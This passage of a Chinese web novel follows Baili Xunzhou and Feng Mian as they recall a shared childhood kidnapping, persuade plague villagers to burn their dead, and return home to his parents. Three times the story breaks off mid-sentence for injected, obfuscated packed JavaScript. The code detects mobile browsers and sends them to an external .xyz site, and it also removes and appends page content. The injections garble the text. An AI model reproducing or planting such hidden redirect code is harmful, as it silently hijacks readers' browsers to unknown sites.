百里浔舟蹙眉回忆了半晌,这件事早已经掩埋在他惊心动魄的兵戈生涯之下,很多年未曾想起过,一时间还真不能确定事发地点。 他尝试着倒推。当时父亲似乎是准备带着他入京觐见圣上,那是这么多年来唯一一次带他入京,结果半路发生他“被拐走”的意外,父亲将他救出来后,剿灭了附近的拐子,便把他送回了北疆。 他们那时正行到……“对,是齐山附近。” 听见肯定的答复,封眠一双眼笑成了弯月状,继续问道:“你只记得自己如何英武地烧了山洞,带着大家一起出逃,又如何机智地戏弄了那群拐子,成功逃出生天,旁的什么都不记得了?” “记得这些还不够吗?”百里浔舟不解,强调道,“那时父亲嫌我年纪小,还不肯让我调令兵马,那一夜,可是我头一次做‘战斗’指挥。回去后,父亲便肯放手让我带兵,我这才一点点建起了疾羽营。” 好吧,这对于年幼的小将军来说,可是初出茅庐的一场小战绩,自然只有精彩的战斗才值得铭记。封眠乐不可支,最后提醒他:“与你一起被关在山洞里的人,你也都不记得了,那个小姑娘呢?” 什么姑娘? 百里浔舟微微蹙起眉心,显然什么也没有想起来。 “你还记不记得我曾说过,我幼时被拐子关在山洞里,有一个小男孩安慰我不要害怕?”封眠循循善诱。 百里浔舟的目光从茫然到惊讶,不敢置信地迟疑道:“该不会,是我吧?” 他全然没了印象…… 等等,封眠那时说那个小男孩与她说什么“黑暗里其实藏着星星守护神,只是我们看不见而已”,他不但在心里嫌弃幼稚,嘴上还在说封眠好骗,世上哪里有什么鬼神? 若那个小男孩就是他自己,他岂不是在骂自己呢? “你自己说过什么话都忘记了,若不是我还记得着火后一起逃跑时,那个小男孩将外衫脱了挂在树枝上迷惑敌人,怕是也认不出你来。” 对十几年来在宫中安稳生活着的封眠来说,出宫被拐那段时间的经历实在是惊心动魄,是以印象深刻,并牢牢地将学到的那一点逃生小技巧记在了脑海中,初来北疆,在狼骨龄遇袭之际,她也是靠着一招,短暂地甩开了流匪。 百里浔舟全然没想过自己竟然那么早就与封眠相识了,心下小小地雀跃起来,这算不算是有缘呢?必然算的吧,她这么年就出宫那么一次,偏巧就遇上了他,怎么能不算呢? 这厢百里浔舟正兀自窃喜着,忽听封眠带着笑意问道:“你那时想牵我的衣服,是不是因为自己害怕?” 明明是他怕黑,却装出一副无所谓的样子安慰她,还有模有样地说“我牵着你,别怕”。 封眠抑制不住,面上的笑容逐渐扩大,“想不到你小小年纪,就这么好面子了?” 什么旖旎的感慨啊缘分啊,此刻尽数散尽了,百里浔舟只觉两颊烧红,颇有些狼狈地侧过头去,“我那是……若我们两个人都表现出害怕的样子,岂不是就要崩溃了?我自然要装上一装了!” “后来你不也是因此,不再怕黑了吗?”想到这一茬,百里浔舟忽地不心虚了,侧眸瞧向封眠,眼底暗含得意,“说明我当时装得很到位,很有用。” 封眠大笑,险些从竹椅上跌下去,被百里浔舟捞了一把,才重新坐稳。 她揉一揉笑到有些晕眩的额头,重重喘了一口气,“是是是,我还要多谢你才是。” 百里浔舟微一探身,伸出手替她按揉着太阳穴,垂眸瞧她时,眸光温柔,“当时并没有人与我说,皇宫跑丢的某位小县主也在那群孩子里,否则我定然会印象深刻,不会忘的。” “或者,当时我没有折返,而是随父亲去了盛京,说不定也能早早遇见你。” “这可不一定,回去之后我就病了,小半年没怎么见过人呢。” 封眠语调轻松,百里浔舟却陡然想起曾听母亲说过,太后将封眠送入道观关了七日的事,好似都是在这一年? “可是太后为难你?”他脱口问道。 封眠静默了半晌。 这几乎是两人头次聊起封眠在宫中的那些时日,百里浔舟所知的一切,都是旁人口中传了一道道的八卦,他不知其中有几分真假,在封眠的心上又留下了多少痕迹。现下见封眠神色,他便想那一定是不甚愉快的记忆,有些懊恼自己突然问出这样的问题。 他正要开口换个话题,却听见封眠仍有些虚弱的嗓音轻轻道:“也不仅仅是太后。” 从五岁,到现在,已经过去了十二年,齐山那段经历都大致有些模糊了,但回宫后那些时日发生的一切,细细回想起来,却仍然历历在目。 “因为我的任性出逃,暑月殿上下的宫人都遭了殃。他们没做错任何事,只因没看住我,就平白丢了性命……”这是封眠心底最后悔的一桩事,仅是提起便觉心底翻江倒海的痛,嗓音都微微的哑了。 她还能记起那时贴身照顾她的两名宫婢笑起来的模样,正是少女最活泼朝气的年纪,她因父亲的死讯失眠了几夜,她们就陪着她熬了几夜。 只是彼时她被舅舅宠爱太过,并不知晓一次不听话的后果会那般严重。 暑月殿的人被尽数淘换,舅舅气她不听话,更气她跑出宫是为了去找只陪伴过她三日的父亲,斥责她这般举止不像她的母亲安乐公主,反而像极了她的父亲。在这世上,舅舅最厌恶的人就是她的父亲,于是一时冷待于她。 那几日她烧得迷迷糊糊,又开始做奇怪的梦,太后便趁机借题发挥,瞒着舅舅将她关进了道观里。 直到褚景涟在舅舅面前不小心说漏了嘴,封眠才被放了出来。 那之后,封眠便懂得在宫里生存,需要她更加乖顺听话才行。 “我被带入宫里时还只是个话都不会说的小婴儿,能瞧出什么性格好坏呢?舅舅是看在母亲的面子上,才对我百般照拂,自然不希望我身上有像父亲的地方。” “而太后不喜欢我母亲,便也不喜欢我,所以不管我是听话还是叛逆,她只要找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338565|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到机会便为难我。” “你看,他们都不是因为我是什么模样,来决定对我的好恶,而是根据对我母亲的好恶,来决定对我的态度。” 将压在心底,困扰自己许多年的杂乱思绪缓缓地说出口,封眠蓦地感觉身心轻盈许多,也许有些话与情绪,当真只需要一个出口便好了。 她轻轻叹了一口气,便被两只手一左一右捧住了脸颊肉,缓缓地将她的脑袋转了个方向,眼前是骤然放大的一双眼。 乌黑的眸子如点漆一般,灼灼真挚地看着她。 “我不认识安乐公主,我只认识你。” 所以我喜欢你,便只是喜欢你,与任何人任何事都无关。 她一定是烧得更严重了,封眠想,否则怎么会觉得脑袋更晕了呢? 封眠抬起手,湿热的掌心贴在了百里浔舟的侧脸上,遮面的棉质面巾触感粗粝。 风声草声虫鸣声尽数消失,百里浔舟只听得心头砰砰乱跳,心脏快要擂穿胸膛跳出来了。 贴在颊侧的手用力一推,封眠嘀咕:“别靠我太近,当心将病传给你。” 百里浔舟:“……” “我……” “喝药了。”柳寄雪端着药走过来,将两人往屋里赶,“夜风开始凉了,不要在院子里坐这么久,快进屋。” 百里浔舟重又将被大氅裹得严严实实的封眠,塞进被子里裹得严严实实,转身正想去接过柳寄雪手中的药碗,柳寄雪却径直上前将他挤到一边,将药递给了封眠。 封眠端过温度适宜的药碗,咕嘟嘟一口气喝干了,柳寄雪又递来蜜饯喂进她嘴巴里。 “今夜好好睡一觉,明日我再来替你把脉。”柳寄雪又絮絮与封眠说了几句话。 被晾在一边的百里浔舟心下有些郁闷,柳寄雪在这里的时候,他好像就成了一个无用的外人,好多余。 翌日一大早,百里浔舟蹲守在药房内,借口其他病人更需要柳寄雪,将她支走,全权揽下了给封眠送药的活计。 他用勺子搅着汤药,努力将滚烫的汤药晾至适宜入口的温度,再双手捧到床榻前递给封眠,看着封眠一口气喝光汤药,便及时喂上一粒蜜饯。 见封眠吃得两颊鼓鼓,他这才觉得心下舒坦了。 连续喝了两日药,封眠便退烧了。 “此药有效,太好了,太好了!”柳寄雪难得有情绪语气这么激昂的时候,露出的眼睛是笑着的,眼底却漾起了浅浅的泪花。 百里浔舟狠狠地松了口气,终于没有负担地笑了出来。 封眠亦是终于安心,她下定决心,道:“帮我通知一下大家,一个时辰后,在村口的空地前集合。” 有些事情不能再拖下去了。 听闻郡主有事要宣布,百姓们紧张得隔着些距离站好,有些担心郡主的病情不会加重了吧? 待看到郡主好端端的现身,众人才齐齐松了口气。 封眠先将大夫们研配出新药方的事情说了,众人终于看见了痊愈的希望,纷纷喜不自胜,满口的吉祥话说着。 封眠向下压了压手,止住了众人的欢呼,此时方才提出要焚烧尸体的决定。 不出意料,群情激奋。 有年迈的老人使足了力气嚷道:“这与掘人祖坟、挫骨扬灰,有何不同啊!” 73. 第 73 章 嘈杂激愤的言辞如浪打着浪一般涌来,守卫们都警觉地横起了刀鞘,以防备情绪激动的百姓们忽然行什么过激之举。 在这紧张的气氛之中,封眠虚弱地咳了两声,百里浔舟忙关切地上前站至她身侧,轻声问:“我来吧?” 封眠摇摇头,这种有悖于当世人伦常理念之事,既是她要做的,便应由她来向众人做出解释,有多少不满与怨愤,也都应由她扛着。 底下众人虽然愤恼上头,但多少还惦念着封眠之前行的好事,见她大病初愈,如此虚弱情状,也不由地都压了声音与火气,静等着听她还要说些什么。 封眠略略扬高了声音,言辞恳切:“我知此举很难接受,若非行至绝路,绝不会行此下策。” “但若不彻底焚烧染病而亡的尸身,飞蝇鼠蚁,空气泥土,甚至是井水之中,都有可能会染上病气。如此往复,疫病何时能绝?” 隔离治疗了这许多天,众人如何不知但凡与病患有一点接触,都极有可能染上疫病的道理?他们很快便想通了其间的联系,活人染病已是如此轻易,更何况埋葬入土、日久便会腐烂的尸身? 众人一时皆沉默了,一时觉得封眠说得似乎有些道理,一时情感上却实在迈不过那一道坎。 有那年轻气盛重孝道的,仍是气愤:“我父生前已遭了大罪,若死后连个全尸都保不住,我岂不是大不孝!往后有何颜面再去见他?” 封眠看向他,言辞切切,“那我且问你,若你染病死后,尸身不焚,来日极可能令自己的至亲子女染病而亡,你待如何?” 那人一怔,想到家中刚回跑跳着喊“爹爹”的一双儿女,一时说不出话,为了自己孩子的平安,他自是什么都愿去做,更遑论只是死后被焚尸? 其余人亦是纷纷思及己身,心中的天平渐渐向封眠倾泻了几许。只是让他们自己做出牺牲自然没什么,可现下要烧毁的,是他们至亲挚友的尸身…… “再者,若因此导致满门死绝,日后无人祭祀,这对祖先来讲,难道便是孝了吗?” 封眠将他们拿来反对自己的“孝道”还了回去。 底下众人闻言一哽,竟觉得她说得极为有道理,与断了香火相比,似乎焚烧尸身,算不得是最不孝的。 见众人似乎已有所松动,封眠放缓了语调:“我已遣人去请明檀寺的高僧,灵虚观的道长,届时会做七七四十九日的法事,为所有亡魂超度。” “我亦会在西山脚下立一块祛病碑,将亡者的名讳铭刻其上,永世受后人香火供奉。白水县,乃至整个北疆,大雍,都会铭记他们今日的贡献,也会铭记你们的大义。” 众人所求,不过是亲友死后哀荣,封眠自当竭力满足。她的目光扫过一张张略有动容的面容,如今,只差一个领头表态之人。 “我愿支持郡主!” 人群中,婉娘站了出来。她隔着几尺的距离,与封眠遥遥相望。 半个时辰前,郡主私下与她倾心谈过此事,她从震惊抗拒,到接受,也只不过用了半柱香的时间。她相信愿意为了百姓以身犯险的人,绝对不会反过来害他们! 况且迎儿那么小,于家那几个没心肝的能记得他几时呢?她想要他名姓永刻碑上,被后人铭记,便是她故去了,也能香火不断,保永世平安。 一人表态,便陆续有人开始附和,渐渐地,就连念头最为顽固的老古板,也止声不再多言。 封眠松了一口气,回首与身后的柳寄雪和百里浔舟对视一眼,三人同时露出一点欣慰的笑意。 百里浔舟望着封眠病后愈发纤弱的身影,既为她事成而高兴,又因她以孱弱身躯肩起如此大事而心疼。 他上前扶着封眠回去休息,说道:“你为此事开了个好头,扫尾的事便交予我吧,莫再费心神了。” 有人自愿代劳,封眠当然乐得轻松。 午后,太阳最盛之时,西山脚下腾起了层层烟雾。 人们站在屋外的空地上,纷纷面向西山行礼,哭声远远传至西山脚下,遥送亡灵。 经此一举,疫情再未向外扩散过,再加之新药方的应用,多数病患也日渐好转起来。 封眠也终于度过了隔离观察的日子,准备趁着清晨悄悄离开。没承想刚出门,便见百姓们已早早侯在屋外,隔着一段距离向她伏首拜送。 乌压压的一片,沉默无声,感敬之意却已震天。 封眠遥遥与众人回了个礼后,便登上马车,回了驿站。 驿站外站了一溜翘首企盼的人,远远瞧见马车驶来,众人都有些蠢蠢欲动地想要上前相迎。但顾春温与陆鸣竹两个自觉身份不妥,忍了又忍又克制住了。 流萤和雾柳两名贴身侍女则名正言顺地拔腿跑向了马车,第一时间扶着封眠下了马车,流萤眼睛里又冒起了泪花,“郡主终于回来,这几日真真是要把奴婢们担心死了!” “郡主竟还特意着人看着,不许我们近前照顾,这些时日……”雾柳小小抱怨的话音一顿,瞧见百里浔舟跟在封眠身后下了马车,惊讶地张了张嘴,“世子殿下?” 众人皆是一惊,百里浔舟是何时混进来的? 不怪他们消息落后,只是这里几个人没一个是关心百里浔舟动向的,柳寄雪等人也常驻于家村附近,并不走动。而百里浔舟闯进来时也没往驿站去,只随手抓了个守卫逼问封眠的所在,驿站附近的守卫又皆是疾羽营借调出来,自不会多嘴什么。 是以他们到此刻才知道,百里浔舟竟一直在里面照顾封眠! 顾春温隔着几步远瞧见封眠回首落在百里浔舟身上的目光,心底微微一凉。陆鸣竹酸溜溜地迈开步子,一脚踩到块石子,险些一头栽倒。 流萤两眼放光地在两人身上打量来打量去,唇角翘得已然压不住了。 好极好极,打从盛京出来,她就暗暗为郡主寻不到如意郎君而担忧,一路上确实也没少计划着日后要张罗着为郡主寻几个俊俏优秀的小郎君,如今见世子殿下待郡主这般上心,觉得自己的计划倒可以无限期搁置下去了。 傅辞偃慢悠悠地跟在流萤和雾柳身后晃到近前,上下将百里浔舟打量了几遍,轻哼出声:“不错嘛,挺有胆魄。” 听着像是夸奖,但好似又带上了一点淡淡的嘲意,让人摸不清他这话到底是什么意思。 在于家村发生的事情,众人皆已知晓了,流萤便问道:“既然如今疫病已可控了,咱们是不是终于可以回去了?” 封眠含笑点点头:“目前只需将于家村和小山村继续隔离起来便好,再过旬日,这两处估摸着也没什么事了。” 出来日久,又被困在方寸之地日日焦灼忧心,众人早便想回云中郡了。 “王妃知道了,定然很是高兴。” 封眠与百里浔舟对视一眼,只盼着王妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344028|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慈母心肠,心疼他们二人受苦受难,从轻发落。 接下来又花了半日的时间准备车马,收整行囊。众人便迫不及待地准备踏上回云中郡的路了。 临行前,封眠撩开车帘,询问刚准备上马的陆鸣竹:“陆大人,你现下可有空吗?我有些事想与你聊一聊。” 被困住这些时日,也不知外头的铺子都如何了。 陆鸣竹自然无有不应,乐颠颠地应召上了马车。 他刚坐下,正要关上马车车门,又一人跟着走到了马车旁边。 “郡主,微臣也有事要禀。”顾春温一手抵住马车车门,温言问道:“不知可便同乘?” “自然,顾大人请。”封眠不觉得有什么,点头应了。 顾春温从善如流地上了马车,在陆鸣竹对面坐下,冲他微微一笑。 外头,百里浔舟蹙眉瞧着,忽地翻身下马,将缰绳丢到一旁守卫的怀里,大步行到马车旁,从小小的窗口微微探头,做出一副困倦的模样,瞧着封眠道:“这几日我都未休息好,可否借马车歇一歇?” 车窗外一点光线落在他的脸上,明暗交错的光影映得他眉眼深邃,自下向上抬眼瞧人,莫名透出一股可怜巴巴的意味来。 封眠立时就心软了,正要应声,却听临窗而坐的顾春温侧首轻声问道:“我等谈论公事,可会吵到殿下?” 百里浔舟略侧了侧脸看他,眉眼骤然锋利起来,不大客气道:“往日出征,哪有那么安静无声的地方给你睡觉?有点声音在耳边,我反倒能歇得更安稳。” “好了,快上来吧,车里有软垫,你靠着歇一歇。”封眠伸出食指来,将百里浔舟的脑袋从窗边戳出去,动作与话语间皆是亲昵。 百里浔舟登时笑弯了眼,绕到马车门边,大步跨上了马车。他弯着腰越过分坐两侧的顾春温和陆鸣竹,径直挨着封眠落座。 流萤和雾柳两人挨着门边坐着,瞧见里头四人端坐这一幕,感觉空气莫名紧张起来。 百里浔舟坐下时,刻意地挽了挽袖子,将两只手露出来,再刻意地从封眠面前探过,拉了拉窗边的帘幔。 这一伸手,便将手背上烫伤似的红痕暴露在了封眠眼前。 封眠将他正要收回的手抓回自己面前细看,眉心轻轻蹙起,关切道:“何时伤的?” 百里浔舟死抿住唇,不让唇角翘起,正要说话,马车门又被打开了,傅辞偃站在外头,双手环胸而抱,打量着马车里的一干人等,“都在啊,不介意再多搭一个人吧?腿疼,骑不了马。” 在座的三位公子很想说介意,奈何封眠说了句不介意,只能眼睁睁看着马车里又塞进来一个人。 幸而封眠出行的马车空间阔朗,塞下他们几个人仍有余裕,并不显得如何拥挤。 百里浔舟勾了勾被封眠托在掌心的手指,将话题拉了回来:“一点小伤,煎药时不小心溅到了。” “怎么这么不当心?上过药了没有?”想到病着的那几日,确实是他日日端着药来,她竟没注意到他是何时伤的手。 “无妨,我又不怕烫。你忘了?小时候我在山洞里点着火,救你一起出去。那么近那么高的火苗我都不怕,刚出炉的汤药算不得什么。” 百里浔舟就这样超绝不经意地当着众人的面,透露出他与封眠自幼相识的信息。 果然引得众人纷纷侧目,他们二人幼时便曾见过? 74. 第 74 章 封眠闻言瞧向百里浔舟:你不是不记得了吗? 百里浔舟无辜回望:努力回忆嘛,想着想着,有些碎片画面就自动溜进脑海里了。 至于一些细节问题,想不到就编造一番。总之他们自幼相识可是事实。 傅辞偃目光狐疑,直言相问:“郡主出嫁前应该从未出过宫吧,世子殿下又未曾去过盛京,你们幼时如何能见过面?莫不是在梦里?” 哼,百里浔舟冷眼瞧他,“岂能什么事都被你们知道了去?” 真说出来吓死你们,他与封眠可不是简单的见过面而已,还一起共患难过,那可是一段惊心动魄,令人此生难忘的的回忆。 只是他不知这段过往,封眠是否愿意让旁人知道,所以并未直接讲出来。 封眠觉得也没什么好瞒的,宫里头和盛京的贵人们几乎都知道此事,遂淡淡道:“说来也不是什么复杂之事,五岁那年我父亲战死,那时我不太懂事,便自己悄悄溜出宫去。半路遇见了拐子,这才意外与世子殿下相遇。” 寻常人听到此处,多会默然几息,为提及旁人的经年伤处而歉疚,正如顾春温与陆鸣竹,两人皆开始酝酿着安慰的措辞。 独独傅辞偃眸光一闪,追着问道:“你父亲,可是那位镇国大将军?” 仿佛真的很好奇一般。 封眠点了点头,“傅公子难道认识家父?” 傅辞偃的眼神愈加复杂古怪,半晌忽地郁气散尽一般,摇了摇头,用听不出意涵的平静语调说道:“耳闻而已,只是听说郡主自出生便被抱进了宫里教养,没想到竟还记得自己的生身父亲。” “血脉亲缘,自是天生亲近。”封眠觉得他问得古怪,就好像在他的预设中,她不但不应该记得父亲,反而应是记恨父亲一般,“他虽只陪过我几日,但我也知晓将士守家卫国之艰险,他与舅舅都是为了我的安危着想。” 虽然若是让封眠选择,也许她会更愿意跟在父亲身边南征北战,可长辈怜她之心,她亦是领情的。 傅辞偃垂首轻笑一声。 顾春温在旁瞧着,只觉傅辞偃看向封眠的眼神很是古怪,提起镇国大将军时的语气亦仿佛暗含着什么沉重的情感。 莫不是多年旧识? 他开口试探:“大将军自是悍勇,只是可惜英年早逝,又因陛下斥其薄情寡恩,郡主多年来皆养在宫中,民间百姓对其风评倒多有不好之处。” “一个外人倒懂得将军与公主夫妻二人的情分深浅了,多管闲事。”傅辞偃垂下眼睫,遮去眼底的冷诮。 只是这话说出来还像是在骂嘉裕帝一般,封眠也不大高兴,“舅舅爱护手足,自然难免有所偏私,也是人之常情。” 她不想再纠结于陈年旧事之上,往日不可追,还是当下比较重要,遂结束话题:“都是多少年前的旧事了,长辈之事,还是莫要妄议为好。我与两位大人还有正事要谈呢。” 傅辞偃倚靠在车壁上闭目养神,神色淡淡,瞧不出他在想什么。顾春温的目光不时落在他身上,心下悄然揣测他的身份。 封眠替百里浔舟将软垫摆好,让他靠着休憩,便与陆鸣竹和顾春温聊起了正事。 马车慢行,比骑马来回要慢上一日的时间,待到又一次夕阳斜晖之际,方才终于瞧见云中郡森然高耸的城墙。 城门口,百姓云集,比封眠初次来云中郡时聚集的人群还要更多。 只是这次不同,众人手上多用麻绳编的小篮子放着拿着鸡蛋、瓜果以及鲜花,远远瞧见马车行来,便乌泱泱地往围护着马车的守卫们身上递。 “拿着拿着,替我们给郡主送到家里去,这是自家养的鸡下的蛋,好好给郡主补补身子!” “这是我今晨摘的花,现下瞧是蔫吧了一点,插瓶子里再加点水就又活了,郡主莫要嫌弃!” “郡主您可要好生养着身体,这几日可把我们担心坏了!” 马车行速慢下来,封眠撩开帘幔,探出头去与目光所及的众人一一道谢。 百姓们的一点心意,送得出手才会觉得心中舒坦,她便也没有坚持推拒,命人好生收下了,到时吃了用了,在街上再碰见他们,还能再夸上一句,到时他们心里头菜高兴呢。 一抬眼,她忽地瞧见阿好和那名叫蔡小田的女孩挽着手挤在人群中,好奇地隔着人群问,“阿好,小田,你们两个可是好事将近了?” 阿好羞涩地挠挠头,蔡小田大大方方地点头,“托郡主的福,祖母愿意随我们回来,现下我们已经是正经夫妻啦!阿好正学着做生意呢,来年互市,我们也能去了!” 封眠笑弯了眼,“恭喜,来年互市,我等着你们。” 马车摇摇晃晃进了城,百姓们不再围堵交通,封眠坐回马车里,吩咐流萤:“明日私下去给阿好和小田包个红封,就说是沾沾喜气。” “好嘞。”流萤心下也兴奋得紧,离开云中郡这许久,邻里们的八卦都不知更新几波了,她可要好好去抓人聊一聊! 王府门前,定北王与王妃亦是携手企盼中,王妃紧张得都快将定北王的手臂掐出於痕来了。 定北王:“夫人,小满人都回来了,自是平安无事,你莫要这么紧张。” “人是平安,怎么会无事?病去抽丝,况她身子骨本来就弱,这病中也不知吃得如何,阿琢是个不靠谱的,能将人照顾好吗?阿满怕是不知瘦成什么样子了!” 说话间,马车拐了进来,王妃急急往前迎了两步,便见一道人影比她还快地翻身下马,两步挤到马车前,伸出手臂将走出马车的封眠接了下来。 百里浔舟甚至还体贴地为封眠理了理身后卷起的薄披风。 王妃和定北王对视一眼,在彼此眼底看见了相同的诧异:这还是咱们家那个木头儿子吗?莫不是出去一趟,被人调包了吧? “父亲,母亲,我们回来了,让你们担忧了。”封眠由着百里浔舟牵着,并肩行到王妃和定北王面前,眼含歉疚地与两人见礼,“望父亲母亲莫怪。” “乖孩子,你心系百姓,母亲岂会责备捏!”王妃上前将百里浔舟牵着封眠的手拿开,将人拉到自己面前,前后左右瞧了个遍才心疼道:“果然瘦了!” 封眠:?是吗。 雾柳才说她病了一场,脸颊却还丰盈着,显是病中被照顾得很好呢。 “母亲,儿子……”百里浔舟上前欲插话,顺便再夺回自己与封 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350989|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眠的牵手权,身前便挡了座魁梧的“小山”。 定北王皮笑肉不笑地盯着自己儿子:“翅膀硬了,招呼都不打一声便擅自离军?” “先进去再说,门口风大,别将阿满吹坏了。”王妃象征性拦了一拦,挽着封眠往正堂走去。 百里浔舟瞧一眼天上的日头,阳光普照的暑日,母亲只关心儿媳会不会被风吹着,却半句不关心儿子会不会被爹打一顿,可真是感天动地母子情。 其余人被王府下人们各自领去歇息,正堂内只余下一家四口做清算。 定北王“砰”一拍桌,“知错没有?” 刚被王妃挽着坐下的封眠,噌一下站了起来。 “没事没事,没你的事,来,坐下。”王妃摁着封眠的肩头让她坐好,给她倒上一杯热茶,自己也冷脸去斥百里浔舟。 “不与你父亲传信便罢了,竟连母亲都瞒着!若你与阿满在于家村出了什么事,你让母亲怎么活!” 定北王闻言猛地扭过头去,小声道:“夫人,不与我传信可是违了军法……” 怎么瞧都是不与他传信的后果更严重些,叫夫人这么一说,瞒着他,倒还没有瞒着她严重了。 只是叫王妃一瞪,定北王也立即闭了嘴。 “儿子知错了。儿子不应感情用事,一时乱了手脚,累父亲母亲忧心了。”百里浔舟干脆地认错。 封眠听见“感情用事”几个字,忽地红了耳根。 百里浔舟继续道:“我将疾羽营暂且交予军师代管,上瞒将军,待回营后,自去领军法。” “隐瞒母亲,儿子愿领家法。” 封眠这下坐不住了,忙起身护到百里浔舟身前,“父亲,母亲,世子如此行事,皆因我而起,若要罚,也应将我一起罚了。” 百里浔舟垂眸瞧着挡在自己身前的纤弱身影。封眠比他要矮上一头,削肩细腰,根本挡不住他什么,却还是站了出来护住他。 眼底笑意几乎满溢出来,唇角也不受控制地翘了起来。 往日他在战场上驰骋杀敌,从来都是冲在最前头那个,今日却被比自己年幼、柔弱许多的,妻子,护在身后,这感觉陌生,奇异,却让人几乎暖到融化。 他又默默在心底反复念了几遍“妻子”这个词,愈发地神清气爽,若是他身后生了条尾巴,怕是已经高高翘起,摇出残影了。 王妃抬眼便瞧见他这幅没出息的样子,不忍直视地移开了视线,温柔地将封眠扶起来,“好孩子,他自己行事不稳重,怎能怪到你头上?也罢,你说……” 王妃正想放过百里浔舟,却听百里浔舟轻咳一声,拿腔作势地望着她道:“母亲,儿子真的知错了!” 满眼都写着几个大字:快罚我快罚我快罚我! 王妃:……什么毛病。 她蹙蹙眉心,忽地福至心灵,罚他领家法,受了伤,便有借口叫封眠心疼他了。 好小子,几日不见,真是与往常不可同日而语了。 王妃眼底笑意一闪而过,改口道:“你虽这么说了,但到底不能轻轻饶过他,免得他日后更是不知天高地厚。” 她冲王爷使了个眼色:“王爷,家法处置。” 75. 第 75 章 “父亲怎么还当真对你下手啊。” 流萤和雾柳一左一右推开门,封眠搀扶着百里浔舟,踩着屋内流泻而出的灯光走了进去。 她还是头次看见百里浔舟伤成这个样子,大婚那日他刚击退伏兵回来,身上的刀伤狰狞渗血,半点异常都没露出来。现下却虚弱得路都走不稳了。 王爷还是亲爹呢,下手可真是狠。 窗前花梨木美人榻上,新换了一只暗绣兰草纹样的雨过天青色软缎垫子。百里浔舟将半个身子都倚在封眠身上,由她搀着自己在上面坐下。 熟悉的场景,让百里浔舟想起上一次在这张美人榻上,封眠悉心为他上药的画面。他忽觉喉间干涩,喉结上下微动,但转瞬又想起当时自己在这张榻上说了什么,黑下脸去。 人永远无法共情过去的自己,他简直想不通大婚之夜的自己怎么就要与封眠说,她可以效仿永宁长公主养面首。 脑壳发昏了不成? 身后,封眠未曾察觉他跌宕的心绪,正想拨开衣领瞧一瞧伤势。 削聪般的手指眼见便要触到玄色衣领,忽然顿住,指尖蜷了回去。 “我去喊山衣来替你上药。” 这怎么行!百里浔舟回身,急急一抬臂,慌乱中揽住了封眠的腰身。 修长五指贴在她纤薄的腰线之上,掌心的热度隔着轻薄的衣衫烫得封眠微微一颤,迈不开步子。 百里浔舟尚无所觉,满心皆是要说些什么才好不暴露自己的司马昭之心,将她留下来。 他坐在美人榻上,微微倾着身子,就像是趴进了封眠怀里一般,极近地贴着她的腰身仰首,黑白分明的眼底盛着恳切的光。 “让山衣看见我被父亲打成这样,也太丢脸了。你帮帮我,好不好?” 他从未说过这样示弱的,带着几分撒娇意味的话,耳后一点点烧了起来。 百里浔舟暗自庆幸,屋内燃着许多烛火,若被问起来耳根怎么红了,便能说是烛光映的。 周遭灯烛从四面八方落下流流光彩,在两人身上映下明灭的影。 封眠垂首,看见百里浔舟漆黑的眼瞳中泛着潮湿的光。 她心颤得一塌糊涂,贝齿微微咬着唇内侧的软肉,点了点头,才想起来去推箍在腰间的手,“你……先放开,我去拿金疮药。” 细白的手指搭在少年比她要大上一圈手掌之上,指尖触碰到凸起的指骨,冷白的指尖与有着微弱肤色差的手背交错搭叠,对比强烈。 两只手的指尖同时轻颤了一下,略大些的手掌飞快地缩了回去,手背轻轻蹭过素白的指尖。 百里浔舟缩回手,乖乖端坐在美人榻上,视线追随着去梳妆台上取金疮药的封眠。待她取了药走回来,他才背过身去。 修长的指利落地解开了腰间的革带,要褪下外袍时,却不动了,带着沉沉的叹息道:“胳膊好痛,抬不起来了。” 他微微侧了侧首,也不敢去瞧封眠,长睫抖了抖,顶着红透的耳朵,轻软道:“再帮我一下吧。” 砰,砰。 在忐忑等待的两道缓慢的心跳声之中,素白指尖终是再次触上了玄色衣领,轻轻将外袍脱下,再向前探手到腰间,去解中衣的系带。 倾身时,封眠呼出的气息轻洒在百里浔舟颈侧,微热的温度让他的脖颈迅速烧红了起来。 封眠一层层剥下他的衣衫,看见他自肩至脖颈处一片白里透红,还未及疑惑,便看见肩背往下被剑鞘砸出的於痕,密密麻麻一直延伸到窄腰之上。 她没忍住惊呼:“父亲下手也太狠了!” “我可是从肩到腰都照顾到了,只差没将他的臀一块打了。” 铜镜中映出王妃与定北王的身影,定北王一面为王妃卸钗环,一面语气得意邀功。 “你打儿子打得还挺开心?” 